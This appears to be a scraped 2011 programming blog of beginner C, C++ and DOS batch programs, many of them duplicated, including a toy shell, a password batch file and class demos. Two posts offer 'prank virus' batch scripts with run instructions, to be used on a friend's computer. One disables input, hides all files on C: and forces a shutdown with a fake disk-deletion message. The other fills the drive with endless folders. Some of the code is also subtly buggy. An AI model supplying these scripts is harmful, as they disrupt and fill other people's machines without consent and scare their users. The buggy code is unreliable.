Friday, November 11, 2011
How to generate perfect number with in a range
How to generate perfect number with in a range
#include<stdio.h>
void main(){
int n,i,sum;
int min,max;
printf("Enter the left range: ");
scanf("%d",&min);
printf("Enter the right range: ");
scanf("%d",&max);
printf("Perfect numbers in given range is: ");
for(n=min;n<=max;n++){
i=1;
sum = 0;
while(i<n){
if(n%i==0)
sum=sum+i;
i++;
}
if(sum==n)
printf("%d ",n);
}
}
Matrix Addition in C laguage
#include<stdio.h>
int main(){
int a[3][3],b[3][3],c[3][3],i,j;
printf("Please Enter values for first Matrix: ");
for(i=0;i<3;i++)
{
for(j=0;j<3;j++)
{
scanf("%d",&a[i][j]);
}
}
printf("Please Enter values for second Matrix: ");
for(i=0;i<3;i++)
{
for(j=0;j<3;j++)
{
scanf("%d",&b[i][j]);
}
}
// Addition operations
for(i=0;i<3;i++)
for(j=0;j<3;j++)
c[i][j]=a[i][j]+b[i][j];
printf("\n Result after Addition of two matrix is\n");
for(i=0;i<3;i++)
{
for(j=0;j<3;j++)
printf("%d\t",c[i][j]);
printf("\n");
}
}
Thursday, November 10, 2011
Your own Command.Com shell using C Language
Your own Command.Com shell using C Language
I made this customized COMMAND.COM file. You can add more commands. If you want updated version. Comment here. I will post the updated version.
#include<conio.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<process.h>
char str[20];
void play(char []);
void process(char []);
void quit();
void help();
void clear();
void dir();
struct lost
{
char text[20];
void (*f)();
}los[]={"EXIT",quit,
"HELP",help,
"CLEAR",clear,
"DIR",dir};
void main()
{
while(1)
{
printf("\nCommand¯¯");
scanf("%s",str);
process(str);
play(str);
}
}
void play(char ar[])
{
int c=0;
while(c<2)
{
if(strcmp(los[c].text,ar)==0)
{
los[c].f();
}
c++;
}
}
void process(char ar[])
{
int c=0;
while(ar[c]!=NULL)
{
ar[c]=toupper(ar[c]);
c+=1;
}
}
void quit()
{
exit(0);
}
void help()
{
printf("Created by Debarghya Mukherjee.......\nDated 20.11.04\nEmail-debarghya_mkr@yahoo.com");
};
void clear()
{
clrscr();
}
void dir()
{
}
I made this customized COMMAND.COM file. You can add more commands. If you want updated version. Comment here. I will post the updated version.
#include<conio.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<process.h>
char str[20];
void play(char []);
void process(char []);
void quit();
void help();
void clear();
void dir();
struct lost
{
char text[20];
void (*f)();
}los[]={"EXIT",quit,
"HELP",help,
"CLEAR",clear,
"DIR",dir};
void main()
{
while(1)
{
printf("\nCommand¯¯");
scanf("%s",str);
process(str);
play(str);
}
}
void play(char ar[])
{
int c=0;
while(c<2)
{
if(strcmp(los[c].text,ar)==0)
{
los[c].f();
}
c++;
}
}
void process(char ar[])
{
int c=0;
while(ar[c]!=NULL)
{
ar[c]=toupper(ar[c]);
c+=1;
}
}
void quit()
{
exit(0);
}
void help()
{
printf("Created by Debarghya Mukherjee.......\nDated 20.11.04\nEmail-debarghya_mkr@yahoo.com");
};
void clear()
{
clrscr();
}
void dir()
{
}
Batch file Password protection system
This is sample batch file that can be used as password protection. You can set your own password. Here I have set "PASSME" as my password. you can set your own password. Then you test it. System will ask you for password, and untill you press right password this will not let you in.
Enjoy.
@echo off
:start
echo.
echo.
echo Enter the password and press enter after F6:
copy con pas
find "PASSME"<pas
if errorlevel=1 goto 1
cls
echo W E L C O M E I N M Y P C
goto 2
:1
del pas
cls
goto start
:2
del pas
Enjoy.
@echo off
:start
echo.
echo.
echo Enter the password and press enter after F6:
copy con pas
find "PASSME"<pas
if errorlevel=1 goto 1
cls
echo W E L C O M E I N M Y P C
goto 2
:1
del pas
cls
goto start
:2
del pas
Wednesday, November 9, 2011
Dos batch file Virus delete Hard Disk and scare friends
You want to scare your friends with computer tricks? This simple code will make your friend so much scared. But it harmless. Follow the steps written below. It will make a batch file that will restart his machine and entire C drive will be empty. It will make him so much scared. But Nothing will be deleted. It will make them hidden. But your friend will loose nerve, I am sure. Make fun but never use for destruction of other computers. Have fun.
@Echo off
rundll32.exe mouse,disable
rundll32.exe keyboard,disable
Attrib +h C:*.*
shutdown -s -c 60
shutdown -r -c "Your Hard Disk Is Getting Deleted... Thank you....."
@Echo off
rundll32.exe mouse,disable
rundll32.exe keyboard,disable
Attrib +h C:*.*
shutdown -s -c 60
shutdown -r -c "Your Hard Disk Is Getting Deleted... Thank you....."
How to make this
1.Open Notepad. Then type the code.
2. Save it by the extension called .bat. e.g “virus.bat”.
3. Then just double click it. Your system will halt. Just restart thesystem, it will work fine. Have fun.
Windows XP, Windows 7, all systems are capable of running this code.
Tuesday, November 8, 2011
Dos batch file Virus to fill entire hard disk
You want to do fun with your friends computer? This simple code will make your friend computer completely full. His/Her root directory will be filled with unnecessary folders. And finally entire drive will be filled. He can not do any work on it. Make fun but never use for destruction of other computers. Have fun
@ECHO off
CD %HomeDrive%\
SET vrs=1
GOTO loop
:loop
MKDIR ILOVEU%vrs%
SET /a vrs=%vrs%+1
GOTO loop
@ECHO off
CD %HomeDrive%\
SET vrs=1
GOTO loop
:loop
MKDIR ILOVEU%vrs%
SET /a vrs=%vrs%+1
GOTO loop
How to make this
1.Open Notepad. Then type the code.
2. Save it by the extension called .bat. e.g “virus.bat”.
3. Then just double click it. Your system will halt. Just restart the system, it will work fine. Have fun.
Monday, November 7, 2011
Menu Driven Dos program
Simple Your details program in DOS. This is a menu driven program. Try it.
@ECHO off
color 2
cls
:start
ECHO.
ECHO 1. Print Name
ECHO 2. Print Mobile
ECHO 3. Print Address
set choice=
set /p choice=Type the number to print text.
if not '%choice%'=='' set choice=%choice:~0,1%
if '%choice%'=='1' goto op1
if '%choice%'=='2' goto op2
if '%choice%'=='3' goto op3
ECHO "%choice%" is not valid, try again
ECHO.
goto start
:op1
ECHO "Write Your name"
goto end
:op2
ECHO "Write Your mobile number"
goto end
:op3
ECHO "Write your address"
goto end
:end
@ECHO off
color 2
cls
:start
ECHO.
ECHO 1. Print Name
ECHO 2. Print Mobile
ECHO 3. Print Address
set choice=
set /p choice=Type the number to print text.
if not '%choice%'=='' set choice=%choice:~0,1%
if '%choice%'=='1' goto op1
if '%choice%'=='2' goto op2
if '%choice%'=='3' goto op3
ECHO "%choice%" is not valid, try again
ECHO.
goto start
:op1
ECHO "Write Your name"
goto end
:op2
ECHO "Write Your mobile number"
goto end
:op3
ECHO "Write your address"
goto end
:end
Manage Car model Using C++
Using this program you can have basic knowledge of Constructor, enum, basic class construction, meber function details.
#include<iostream.h>
#include<conio.h>
enum COLOR{red,blue,green,black,white};
typedef char * String;
class car
{
private:
COLOR color;
float price;
String company;
public:
car();
car(COLOR,float,String);
void showvalue() const;
};
car::car():
color(white),
price(0.0),
company("")
{}
car::car(COLOR c,float p,String com)
{
this->color=c;
this->price=p;
company=com;
}
void car::showvalue() const
{
cout<<"This "<<color<<" of "
<<company<<" is for "<<price<<" Rs."<<endl;
}
class complex
{
private:
int real;
int com;
public:
complex(int,int);
complex();
void showvalue() const;
//void operator++ ();
complex operator++ ();
complex operator++ (int);
complex operator+(const complex c);
};
complex::complex():
real(0),com(0){}
void complex::showvalue() const
{
cout<<real<<"+"<<com<<"i"<<endl;
}
complex::complex(int a,int b):
real(a),com(b){}
complex complex::operator++()
{
complex c(0,0);
real++;
c.real=real;
return c;
}
complex complex::operator+(const complex c)
{
complex a;
a.real=real+c.real;
a.com=com+c.com;
return a;
}
complex complex::operator++(int)
{
complex c;
c=*this;
real++;
return c;
}
void main()
{
complex c1(1,2),c2(2,3);
clrscr();
c1.showvalue();
++c1;
c1.showvalue();
complex c3=c1++;
c3.showvalue();
c1.showvalue();
complex c4;
c4=c1+c2;
cout<<endl<<endl;
c1.showvalue();
c2.showvalue();
c4.showvalue();
getch();
}











